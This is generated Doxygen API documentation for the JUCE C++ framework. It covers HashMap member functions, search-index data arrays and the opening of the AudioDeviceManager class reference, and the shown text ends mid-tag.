href="classArray.html#a2fb91e8ec10caa9474a28c88e35f9686">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::set()</a>.</p> </div> </div> <a class="anchor" id="aadd0f7eaeacd996eed49440b27d9f308"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename KeyType, typename ValueType, class HashFunctionType = DefaultHashFunctions, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classHashMap.html">HashMap</a>&lt; KeyType, ValueType, HashFunctionType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::remapTable </td> <td>(</td> <td class="paramtype">int&#160;</td> <td class="paramname"><em>newNumberOfSlots</em></td><td>)</td> <td></td> </tr> </table> </div><div class="memdoc"> <p>Remaps the hash-map to use a different number of slots for its hash function. </p> <p>Each slot corresponds to a single hash-code, and each one can contain multiple items. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classHashMap.html#a28c5938ec533466631b98451c6b78072" title="Returns the number of slots which are available for hashing.">getNumSlots()</a> </dd></dl> <p>References <a class="el" href="classHashMap.html#a28c5938ec533466631b98451c6b78072">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::getNumSlots()</a>, <a class="el" href="classArray.html#ada77bc1217cc15d8815e2685090de379">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::getUnchecked()</a>, <a class="el" href="classHashMap.html#a875c55a3b720118cd6687fd6494f7afd">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::set()</a>, and <a class="el" href="classHashMap.html#a885345c5f15712041e6e46d38d6e564b">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::swapWith()</a>.</p> <p>Referenced by <a class="el" href="classHashMap.html#a875c55a3b720118cd6687fd6494f7afd">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::set()</a>.</p> </div> </div> <a class="anchor" id="a28c5938ec533466631b98451c6b78072"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename KeyType, typename ValueType, class HashFunctionType = DefaultHashFunctions, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">int <a class="el" href="classHashMap.html">HashMap</a>&lt; KeyType, ValueType, HashFunctionType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::getNumSlots </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the number of slots which are available for hashing. </p> <p>Each slot corresponds to a single hash-code, and each one can contain multiple items. </p> <dl class="section see"><dt>See Also</dt><dd><a class="el" href="classHashMap.html#a28c5938ec533466631b98451c6b78072" title="Returns the number of slots which are available for hashing.">getNumSlots()</a> </dd></dl> <p>References <a class="el" href="classArray.html#ae79ec3b32d0c9a80dfff8ffbc41f8523">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::size()</a>.</p> <p>Referenced by <a class="el" href="classHashMap.html#aa18110ae5d5de81f4e64efcc117e43d8">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::containsValue()</a>, <a class="el" href="classHashMap_1_1Iterator.html#abdbcb9001e0777946703ff4c8cbde785">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::Iterator::next()</a>, <a class="el" href="classHashMap.html#aadd0f7eaeacd996eed49440b27d9f308">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::remapTable()</a>, <a class="el" href="classHashMap.html#a7c7e68766babe36a8ae07033d3652f2f">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::removeValue()</a>, and <a class="el" href="classHashMap.html#a875c55a3b720118cd6687fd6494f7afd">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::set()</a>.</p> </div> </div> <a class="anchor" id="a885345c5f15712041e6e46d38d6e564b"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename KeyType, typename ValueType, class HashFunctionType = DefaultHashFunctions, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <div class="memtemplate"> template&lt;class OtherHashMapType &gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">void <a class="el" href="classHashMap.html">HashMap</a>&lt; KeyType, ValueType, HashFunctionType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::swapWith </td> <td>(</td> <td class="paramtype">OtherHashMapType &amp;&#160;</td> <td class="paramname"><em>otherHashMap</em></td><td>)</td> <td></td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Efficiently swaps the contents of two hash-maps. </p> <p>References <a class="el" href="classHashMap.html#a539b127c2f399e4d5f6c235222fb7bf2">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::getLock()</a>, and <a class="el" href="classArray.html#a921a70882553967e2998beeb30d99f83">Array&lt; ElementType, TypeOfCriticalSectionToUse, minimumAllocatedSize &gt;::swapWith()</a>.</p> <p>Referenced by <a class="el" href="classHashMap.html#aadd0f7eaeacd996eed49440b27d9f308">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::remapTable()</a>.</p> </div> </div> <a class="anchor" id="a539b127c2f399e4d5f6c235222fb7bf2"></a> <div class="memitem"> <div class="memproto"> <div class="memtemplate"> template&lt;typename KeyType, typename ValueType, class HashFunctionType = DefaultHashFunctions, class TypeOfCriticalSectionToUse = DummyCriticalSection&gt; </div> <table class="mlabels"> <tr> <td class="mlabels-left"> <table class="memname"> <tr> <td class="memname">const <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a>&amp; <a class="el" href="classHashMap.html">HashMap</a>&lt; KeyType, ValueType, HashFunctionType, <a class="el" href="classTypeOfCriticalSectionToUse.html">TypeOfCriticalSectionToUse</a> &gt;::getLock </td> <td>(</td> <td class="paramname"></td><td>)</td> <td> const</td> </tr> </table> </td> <td class="mlabels-right"> <span class="mlabels"><span class="mlabel">noexcept</span></span> </td> </tr> </table> </div><div class="memdoc"> <p>Returns the <a class="el" href="classCriticalSection.html" title="A re-entrant mutex.">CriticalSection</a> that locks this structure. </p> <p>To lock, you can call <a class="el" href="classHashMap.html#a539b127c2f399e4d5f6c235222fb7bf2" title="Returns the CriticalSection that locks this structure.">getLock()</a>.enter() and <a class="el" href="classHashMap.html#a539b127c2f399e4d5f6c235222fb7bf2" title="Returns the CriticalSection that locks this structure.">getLock()</a>.exit(), or preferably use an object of ScopedLockType as an RAII lock for it. </p> <p>Referenced by <a class="el" href="classHashMap.html#a2922931b85fa384901d82de2b46b0845">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::clear()</a>, <a class="el" href="classHashMap.html#a76ea6487128a798b22e3937731cab111">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::contains()</a>, <a class="el" href="classHashMap.html#aa18110ae5d5de81f4e64efcc117e43d8">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::containsValue()</a>, <a class="el" href="classHashMap.html#aad123e7a5d4d6a0fef5196d5e0475c21">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::operator[]()</a>, <a class="el" href="classHashMap.html#ac308687ea47efa4d1559ec1b35505ad2">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::remove()</a>, <a class="el" href="classHashMap.html#a7c7e68766babe36a8ae07033d3652f2f">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::removeValue()</a>, <a class="el" href="classHashMap.html#a875c55a3b720118cd6687fd6494f7afd">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::set()</a>, and <a class="el" href="classHashMap.html#a885345c5f15712041e6e46d38d6e564b">HashMap&lt; KeyType, ValueType, HashFunctionType, TypeOfCriticalSectionToUse &gt;::swapWith()</a>.</p> </div> </div> <hr/>The documentation for this class was generated from the following file:<ul> <li><a class="el" href="juce__HashMap_8h.html">juce_HashMap.h</a></li> </ul> </div><!-- contents --> <hr class="footer"/> <address class="footer"><small>All content &copy Raw Material Software Ltd.</small></address><br/> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-19759318-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> </body> </html> <file_sep>var searchData= [ ['test_5ffor_5fand_5freturn_5fif_5fvalid',['TEST_FOR_AND_RETURN_IF_VALID',['../juce__VST3Common_8h.html#a8ac5e0cbb86f5e8a2fb2e5273b65798e',1,'juce_VST3Common.h']]], ['test_5ffor_5fcommon_5fbase_5fand_5freturn_5fif_5fvalid',['TEST_FOR_COMMON_BASE_AND_RETURN_IF_VALID',['../juce__VST3Common_8h.html#aa30524f64f5a4135a7977082490db9a4',1,'juce_VST3Common.h']]], ['trans',['TRANS',['../juce__LocalisedStrings_8h.html#af3c28ad27b0d8fa2f615888701e32b07',1,'juce_LocalisedStrings.h']]] ]; <file_sep>var searchData= [ ['forcedinline',['forcedinline',['../juce__PlatformDefs_8h.html#ac2535cb549b141b3a96b8a08014e46cb',1,'juce_PlatformDefs.h']]], ['foreachxmlchildelement',['forEachXmlChildElement',['../juce__XmlElement_8h.html#ace692e5be62f7ab58363d91b52eb839e',1,'juce_XmlElement.h']]], ['foreachxmlchildelementwithtagname',['forEachXmlChildElementWithTagName',['../juce__XmlElement_8h.html#a6cf39e14a10e2e46f753b0c79c66f2f9',1,'juce_XmlElement.h']]] ]; <file_sep>var searchData= [ ['macaddress',['MACAddress',['../classMACAddress.html',1,'']]], ['machineidutilities',['MachineIDUtilities',['../structOnlineUnlockStatus_1_1MachineIDUtilities.html',1,'OnlineUnlockStatus']]], ['marker',['Marker',['../classMarkerList_1_1Marker.html',1,'MarkerList']]], ['markerlist',['MarkerList',['../classMarkerList.html',1,'']]], ['master',['Master',['../classWeakReference_1_1Master.html',1,'WeakReference']]], ['matrix3d',['Matrix3D',['../classMatrix3D.html',1,'']]], ['md5',['MD5',['../classMD5.html',1,'']]], ['memoryblock',['MemoryBlock',['../classMemoryBlock.html',1,'']]], ['memoryinputstream',['MemoryInputStream',['../classMemoryInputStream.html',1,'']]], ['memorymappedaudioformatreader',['MemoryMappedAudioFormatReader',['../classMemoryMappedAudioFormatReader.html',1,'']]], ['memorymappedfile',['MemoryMappedFile',['../classMemoryMappedFile.html',1,'']]], ['memoryoutputstream',['MemoryOutputStream',['../classMemoryOutputStream.html',1,'']]], ['menubarcomponent',['MenuBarComponent',['../classMenuBarComponent.html',1,'']]], ['menubarmodel',['MenuBarModel',['../classMenuBarModel.html',1,'']]], ['menuitemiterator',['MenuItemIterator',['../classPopupMenu_1_1MenuItemIterator.html',1,'PopupMenu']]], ['message',['Message',['../classMessage.html',1,'']]], ['messagebase',['MessageBase',['../classMessageManager_1_1MessageBase.html',1,'MessageManager']]], ['messagelistener',['MessageListener',['../classMessageListener.html',1,'']]], ['messageloopcallback',['MessageLoopCallback',['../structjuce_1_1OSCReceiver_1_1MessageLoopCallback.html',1,'juce::OSCReceiver']]], ['messageloopcallback',['MessageLoopCallback',['../structOSCReceiver_1_1MessageLoopCallback.html',1,'OSCReceiver']]], ['messagemanager',['MessageManager',['../classMessageManager.html',1,'']]], ['messagemanagerlock',['MessageManagerLock',['../classMessageManagerLock.html',1,'']]], ['midibuffer',['MidiBuffer',['../classMidiBuffer.html',1,'']]], ['midieventholder',['MidiEventHolder',['../classMidiMessageSequence_1_1MidiEventHolder.html',1,'MidiMessageSequence']]], ['midieventlist',['MidiEventList',['../classMidiEventList.html',1,'']]], ['midifile',['MidiFile',['../classMidiFile.html',1,'']]], ['midiinput',['MidiInput',['../classMidiInput.html',1,'']]], ['midiinputcallback',['MidiInputCallback',['../classMidiInputCallback.html',1,'']]], ['midikeyboardcomponent',['MidiKeyboardComponent',['../classMidiKeyboardComponent.html',1,'']]], ['midikeyboardstate',['MidiKeyboardState',['../classMidiKeyboardState.html',1,'']]], ['midikeyboardstatelistener',['MidiKeyboardStateListener',['../classMidiKeyboardStateListener.html',1,'']]], ['midimessage',['MidiMessage',['../classMidiMessage.html',1,'']]], ['midimessagecollector',['MidiMessageCollector',['../classMidiMessageCollector.html',1,'']]], ['midimessagesequence',['MidiMessageSequence',['../classMidiMessageSequence.html',1,'']]], ['midioutput',['MidiOutput',['../classMidiOutput.html',1,'']]], ['midirpndetector',['MidiRPNDetector',['../classMidiRPNDetector.html',1,'']]], ['midirpngenerator',['MidiRPNGenerator',['../classMidiRPNGenerator.html',1,'']]], ['midirpnmessage',['MidiRPNMessage',['../structMidiRPNMessage.html',1,'']]], ['mixeraudiosource',['MixerAudioSource',['../classMixerAudioSource.html',1,'']]], ['modalcallbackfunction',['ModalCallbackFunction',['../classModalCallbackFunction.html',1,'']]], ['modalcomponentmanager',['ModalComponentManager',['../classModalComponentManager.html',1,'']]], ['modifierkeys',['ModifierKeys',['../classModifierKeys.html',1,'']]], ['mountedvolumelistchangedetector',['MountedVolumeListChangeDetector',['../classMountedVolumeListChangeDetector.html',1,'']]], ['mousecursor',['MouseCursor',['../classMouseCursor.html',1,'']]], ['mouseevent',['MouseEvent',['../classMouseEvent.html',1,'']]], ['mouseinactivitydetector',['MouseInactivityDetector',['../classMouseInactivityDetector.html',1,'']]], ['mouseinputsource',['MouseInputSource',['../classMouseInputSource.html',1,'']]], ['mouselistener',['MouseListener',['../classMouseListener.html',1,'']]], ['mousewheeldetails',['MouseWheelDetails',['../structMouseWheelDetails.html',1,'']]], ['mp3audioformat',['MP3AudioFormat',['../classMP3AudioFormat.html',1,'']]], ['mpeinstrument',['MPEInstrument',['../classMPEInstrument.html',1,'']]], ['mpemessages',['MPEMessages',['../classMPEMessages.html',1,'']]], ['mpenote',['MPENote',['../structMPENote.html',1,'']]], ['mpesynthesiser',['MPESynthesiser',['../classMPESynthesiser.html',1,'']]], ['mpesynthesiserbase',['MPESynthesiserBase',['../structMPESynthesiserBase.html',1,'']]], ['mpesynthesiservoice',['MPESynthesiserVoice',['../classMPESynthesiserVoice.html',1,'']]], ['mpevalue',['MPEValue',['../classMPEValue.html',1,'']]], ['mpezone',['MPEZone',['../structMPEZone.html',1,'']]], ['mpezonelayout',['MPEZoneLayout',['../classMPEZoneLayout.html',1,'']]], ['multidocumentpanel',['MultiDocumentPanel',['../classMultiDocumentPanel.html',1,'']]], ['multidocumentpanelwindow',['MultiDocumentPanelWindow',['../classMultiDocumentPanelWindow.html',1,'']]], ['multitimer',['MultiTimer',['../classMultiTimer.html',1,'']]] ]; <file_sep><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/xhtml;charset=UTF-8"/> <meta http-equiv="X-UA-Compatible" content="IE=9"/> <title>JUCE: AudioDeviceManager Class Reference</title> <link href="tabs.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="jquery.js"></script> <script type="text/javascript" src="dynsections.js"></script> <link href="search/search.css" rel="stylesheet" type="text/css"/> <script type="text/javascript" src="search/search.js"></script> <script type="text/javascript"> $(document).ready(function() { searchBox.OnSelectItem(0); }); </script> <link href="doxygen.css" rel="stylesheet" type="text/css" /> </head> <body> <div id="top"><!-- do not remove this div, it is closed by doxygen! --> <div id="titlearea"> <table cellspacing="0" cellpadding="0"> <tbody> <tr style="height: 56px;"> <td style="padding-left: 0.5em;"> <div id="projectname">JUCE </div> </td> </tr> </tbody> </table> </div> <!-- end header part --> <!-- Generated by Doxygen 1.8.2 --> <script type="text/javascript"> var searchBox = new SearchBox("searchBox", "search",false,'Search'); </script> <div id="navrow1" class="tabs"> <ul class="tablist"> <li><a href="index.html"><span>Main&#160;Page</span></a></li> <li class="current"><a href="annotated.html"><span>Classes</span></a></li> <li><a href="files.html"><span>Files</span></a></li> <li> <div id="MSearchBox" class="MSearchBoxInactive"> <span class="left"> <img id="MSearchSelect" src="search/mag_sel.png" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" alt=""/> <input type="text" id="MSearchField" value="Search" accesskey="S" onfocus="searchBox.OnSearchFieldFocus(true)" onblur="searchBox.OnSearchFieldFocus(false)" onkeyup="searchBox.OnSearchFieldChange(event)"/> </span><span class="right"> <a id="MSearchClose" href="javascript:searchBox.CloseResultsWindow()"><img id="MSearchCloseImg" border="0" src="search/close.png" alt=""/></a> </span> </div> </li> </ul> </div> <div id="navrow2" class="tabs2"> <ul class="tablist"> <li><a href="annotated.html"><span>Class&#160;List</span></a></li> <li><a href="classes.html"><span>Class&#160;Index</span></a></li> <li><a href="hierarchy.html"><span>Class&#160;Hierarchy</span></a></li> <li><a href="functions.html"><span>Class&#160;Members</span></a></li> </ul> </div> <!-- window showing the filter options --> <div id="MSearchSelectWindow" onmouseover="return searchBox.OnSearchSelectShow()" onmouseout="return searchBox.OnSearchSelectHide()" onkeydown="return searchBox.OnSearchSelectKey(event)"> <a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(0)"><span class="SelectionMark">&#160;</span>All</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(1)"><span class="SelectionMark">&#160;</span>Classes</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(2)"><span class="SelectionMark">&#160;</span>Namespaces</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(3)"><span class="SelectionMark">&#160;</span>Files</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(4)"><span class="SelectionMark">&#160;</span>Functions</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(5)"><span class="SelectionMark">&#160;</span>Variables</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(6)"><span class="SelectionMark">&#160;</span>Typedefs</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(7)"><span class="SelectionMark">&#160;</span>Enumerations</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(8)"><span class="SelectionMark">&#160;</span>Enumerator</a><a class="SelectItem" href="javascript:void(0)" onclick="searchBox.OnSelectItem(9)"><span class="SelectionMark">&#160;</span>Macros</a></div> <!-- iframe showing the search results (closed by default) --> <div id="MSearchResultsWindow"> <iframe src="javascript:void(0)" frameborder="0" name="MSearchResults" id="MSearchResults"> </iframe> </div> </div><!-- top --> <div class="header"> <div class="summary"> <a href="#nested-classes">Classes</a> &#124; <a href="#pub-methods">Public Member Functions</a> &#124; <a href="classAudioDeviceManager-members.html">List of all members</a> </div> <div class="headertitle"> <div class="title">AudioDeviceManager Class Reference</div> </div> </div><!--header--> <div class="contents"> <p>Manages the state of some audio and midi i/o devices. <a href="classAudioDeviceManager.html#details">More...</a></p> <p>Inherits <a class="el" href="classChangeBroadcaster.html">ChangeBroadcaster</a>.</p> <table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="nested-classes"></a> Classes</h2></td></tr> <tr class="memitem:"><td class="memItemLeft" align="right" valign="top">struct &#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html">AudioDeviceSetup</a></td></tr> <tr class="memdesc:"><td class="mdescLeft">&#160;</td><td class="mdescRight">This structure holds a set of properties describing the current audio setup. <a href="structAudioDeviceManager_1_1AudioDeviceSetup.html#details">More...</a><br/></td></tr> <tr class="separator:"><td class="memSeparator" colspan="2">&#160;</td></tr> </table><table class="memberdecls"> <tr class="heading"><td colspan="2"><h2 class="groupheader"><a name="pub-methods"></a> Public Member Functions</h2></td></tr> <tr class="memitem:accab16a03e809121d56e8b272125f3ea"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#accab16a03e809121d56e8b272125f3ea">AudioDeviceManager</a> ()</td></tr> <tr class="memdesc:accab16a03e809121d56e8b272125f3ea"><td class="mdescLeft">&#160;</td><td class="mdescRight">Creates a default <a class="el" href="classAudioDeviceManager.html" title="Manages the state of some audio and midi i/o devices.">AudioDeviceManager</a>. <a href="#accab16a03e809121d56e8b272125f3ea"></a><br/></td></tr> <tr class="separator:accab16a03e809121d56e8b272125f3ea"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aba2ff8bbc69b9434dfc90c3a7bc09d6a"><td class="memItemLeft" align="right" valign="top">&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#aba2ff8bbc69b9434dfc90c3a7bc09d6a">~AudioDeviceManager</a> ()</td></tr> <tr class="memdesc:aba2ff8bbc69b9434dfc90c3a7bc09d6a"><td class="mdescLeft">&#160;</td><td class="mdescRight">Destructor. <a href="#aba2ff8bbc69b9434dfc90c3a7bc09d6a"></a><br/></td></tr> <tr class="separator:aba2ff8bbc69b9434dfc90c3a7bc09d6a"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a4c6d8a76a270a6e4ca0537093f447b44"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classString.html">String</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a4c6d8a76a270a6e4ca0537093f447b44">initialise</a> (int numInputChannelsNeeded, int numOutputChannelsNeeded, const <a class="el" href="classXmlElement.html">XmlElement</a> *savedState, bool selectDefaultDeviceOnFailure, const <a class="el" href="classString.html">String</a> &amp;preferredDefaultDeviceName=<a class="el" href="classString.html">String</a>(), const <a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html">AudioDeviceSetup</a> *preferredSetupOptions=nullptr)</td></tr> <tr class="memdesc:a4c6d8a76a270a6e4ca0537093f447b44"><td class="mdescLeft">&#160;</td><td class="mdescRight">Opens a set of audio devices ready for use. <a href="#a4c6d8a76a270a6e4ca0537093f447b44"></a><br/></td></tr> <tr class="separator:a4c6d8a76a270a6e4ca0537093f447b44"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aed646db44c76466d8d0e288d56e50691"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classString.html">String</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#aed646db44c76466d8d0e288d56e50691">initialiseWithDefaultDevices</a> (int numInputChannelsNeeded, int numOutputChannelsNeeded)</td></tr> <tr class="memdesc:aed646db44c76466d8d0e288d56e50691"><td class="mdescLeft">&#160;</td><td class="mdescRight">Resets everything to a default device setup, clearing any stored settings. <a href="#aed646db44c76466d8d0e288d56e50691"></a><br/></td></tr> <tr class="separator:aed646db44c76466d8d0e288d56e50691"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:abb846b502125744f4ea04f06cde5d92c"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classXmlElement.html">XmlElement</a> *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#abb846b502125744f4ea04f06cde5d92c">createStateXml</a> () const </td></tr> <tr class="memdesc:abb846b502125744f4ea04f06cde5d92c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns some XML representing the current state of the manager. <a href="#abb846b502125744f4ea04f06cde5d92c"></a><br/></td></tr> <tr class="separator:abb846b502125744f4ea04f06cde5d92c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a9363240e6dcfe1462c6b97366e03ae7d"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a9363240e6dcfe1462c6b97366e03ae7d">getAudioDeviceSetup</a> (<a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html">AudioDeviceSetup</a> &amp;result)</td></tr> <tr class="memdesc:a9363240e6dcfe1462c6b97366e03ae7d"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the current device properties that are in use. <a href="#a9363240e6dcfe1462c6b97366e03ae7d"></a><br/></td></tr> <tr class="separator:a9363240e6dcfe1462c6b97366e03ae7d"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:aef0249d178aa5448ad2e949ae059c461"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classString.html">String</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#aef0249d178aa5448ad2e949ae059c461">setAudioDeviceSetup</a> (const <a class="el" href="structAudioDeviceManager_1_1AudioDeviceSetup.html">AudioDeviceSetup</a> &amp;newSetup, bool treatAsChosenDevice)</td></tr> <tr class="memdesc:aef0249d178aa5448ad2e949ae059c461"><td class="mdescLeft">&#160;</td><td class="mdescRight">Changes the current device or its settings. <a href="#aef0249d178aa5448ad2e949ae059c461"></a><br/></td></tr> <tr class="separator:aef0249d178aa5448ad2e949ae059c461"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ad7ab4d5ba626a08098bb77a6164321a1"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classAudioIODevice.html">AudioIODevice</a> *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#ad7ab4d5ba626a08098bb77a6164321a1">getCurrentAudioDevice</a> () const noexcept</td></tr> <tr class="memdesc:ad7ab4d5ba626a08098bb77a6164321a1"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the currently-active audio device. <a href="#ad7ab4d5ba626a08098bb77a6164321a1"></a><br/></td></tr> <tr class="separator:ad7ab4d5ba626a08098bb77a6164321a1"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a2d89901b67119f512b036345bd3d092c"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classString.html">String</a>&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a2d89901b67119f512b036345bd3d092c">getCurrentAudioDeviceType</a> () const </td></tr> <tr class="memdesc:a2d89901b67119f512b036345bd3d092c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the type of audio device currently in use. <a href="#a2d89901b67119f512b036345bd3d092c"></a><br/></td></tr> <tr class="separator:a2d89901b67119f512b036345bd3d092c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a01438e7795abd52342d2cc845c1e74c4"><td class="memItemLeft" align="right" valign="top"><a class="el" href="classAudioIODeviceType.html">AudioIODeviceType</a> *&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a01438e7795abd52342d2cc845c1e74c4">getCurrentDeviceTypeObject</a> () const </td></tr> <tr class="memdesc:a01438e7795abd52342d2cc845c1e74c4"><td class="mdescLeft">&#160;</td><td class="mdescRight">Returns the currently active audio device type object. <a href="#a01438e7795abd52342d2cc845c1e74c4"></a><br/></td></tr> <tr class="separator:a01438e7795abd52342d2cc845c1e74c4"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:a49e34c1ed60dafcebefc55d12f9175ad"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#a49e34c1ed60dafcebefc55d12f9175ad">setCurrentAudioDeviceType</a> (const <a class="el" href="classString.html">String</a> &amp;type, bool treatAsChosenDevice)</td></tr> <tr class="memdesc:a49e34c1ed60dafcebefc55d12f9175ad"><td class="mdescLeft">&#160;</td><td class="mdescRight">Changes the class of audio device being used. <a href="#a49e34c1ed60dafcebefc55d12f9175ad"></a><br/></td></tr> <tr class="separator:a49e34c1ed60dafcebefc55d12f9175ad"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:af9829fcacafb4a395d084b34cdb8391c"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#af9829fcacafb4a395d084b34cdb8391c">closeAudioDevice</a> ()</td></tr> <tr class="memdesc:af9829fcacafb4a395d084b34cdb8391c"><td class="mdescLeft">&#160;</td><td class="mdescRight">Closes the currently-open device. <a href="#af9829fcacafb4a395d084b34cdb8391c"></a><br/></td></tr> <tr class="separator:af9829fcacafb4a395d084b34cdb8391c"><td class="memSeparator" colspan="2">&#160;</td></tr> <tr class="memitem:ac46693f5b78c06357b16bf5e95560605"><td class="memItemLeft" align="right" valign="top">void&#160;</td><td class="memItemRight" valign="bottom"><a class="el" href="classAudioDeviceManager.html#ac46693f5b78c06357b16bf5e95560605">restartLastAudioDevice</a> ()</td></tr> <tr class="memdesc:ac46693f5b78c06357b16bf5e95560605"><td class="mdescLeft">&#160;</td><td class="mdescRight">Tries to reload the last audio device that was running. <a href="#ac46693f5b78c06357b16bf5e95560605"></a><br/></td></tr> <tr 